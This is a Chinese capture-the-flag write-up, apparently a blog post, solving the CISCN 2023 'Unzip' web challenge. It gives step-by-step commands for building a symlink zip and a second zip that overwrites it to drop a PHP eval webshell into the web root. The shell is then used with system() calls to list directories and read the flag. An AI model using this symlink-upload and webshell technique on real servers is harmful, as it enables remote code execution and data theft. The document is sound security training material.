(超详细保姆级教程)CISCN_2023--Web-Unzip(内有做题网站)

4 篇文章 0 订阅
1 篇文章 0 订阅

CISCN_2023--Web-Unzip

做题网站:ctf.show

打开之后是一个上传框,随便上传一张图片,显示:

<?php 
  error_reporting(0); 
​
highlight_file(__FILE__); 
​
$finfo = finfo_open(FILEINFO_MIME_TYPE); 
​
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){  
    
    exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]); 
​
};
​
//only this! 

代码分析:

if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip')

验证MIME值,确定上传的文件类型为zip,说明要上传一个zip压缩文件

 exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]); 

把压缩包解压到/tmp目录下

解题思路:

在 Linux 系统中,如果使用 Apache 服务器,默认的 Web 根目录是/var/www/html。

上传解压后的文件被解压到/tmp目录下,并且不能直接访问到/tmp目录,但可以直接访问网站根目录/var/www/html。

想办法实现目录跳转,想到了软链接(和Windows的快捷方式类似):

①使/tmp目录下的link与网站根目录/var/www/html建立软链接

(了解软硬链接:Linux-33Linux文件系统命令-ln链接中符号链接和硬链接的应用场景哔哩哔哩bilibili

②上传一句话木马,时期被解压到网站根目录下

③用蚁剑,菜刀或者参数访问查询flag

总结:

依次上传两个zip文件,第一个zip文件slink.zip解压之后建立软链接(此时slink相当于/var/www/html

第二个zip文件包含一句话木马,且解压之后的名字和第一个zip文件解压之后的名字一样,因此把第一个zip文件解压之后覆盖

(第二个zip文件的结构:slink2.zip/slink/shell.php(shell.php里面是一句话木马),解压之后把原来解压得到的slink替换掉,shell.php相当于是在/var/www/html/shell.php

操作:

1.打开kali,创建unzip文件夹,进入unzip文件夹创建软链接:
ln -s /var/www/html slink

此时slink就相当于/var/www/html

2.压缩:
zip --symlink slink.zip

ls显示:

slink slink.zip
3.删除slink,在unzip目录下创建slink目录
mkdir slink
​
ls:
​
slink slink.zip
4.进入slink创建shell.php文件,并写入后门代码
cd slink
echo "<?php phpinfo();?>" >>shell.php
ls:
shell.php
5.在unzip目录压缩slink文件夹
zip -r slink2.zip ./slink2/*
ls:
slink2.zip slink.zip slink
6.上传

先上传slink.zip 再上传slink2.zip

访问/shell.php

显示的内容是php探针(phpinfo),说明操作正确

把一句话木马改成:

<?php eval($_POST['niubi']);?>
7.上传之后
法一:

蚁剑连接,成功找到flag

法二:

访问/shell.php

POST提交:niubi=system('ls /');

显示:

bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var

niubi=system('cat /flag');

成功得到flag

  • 6
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值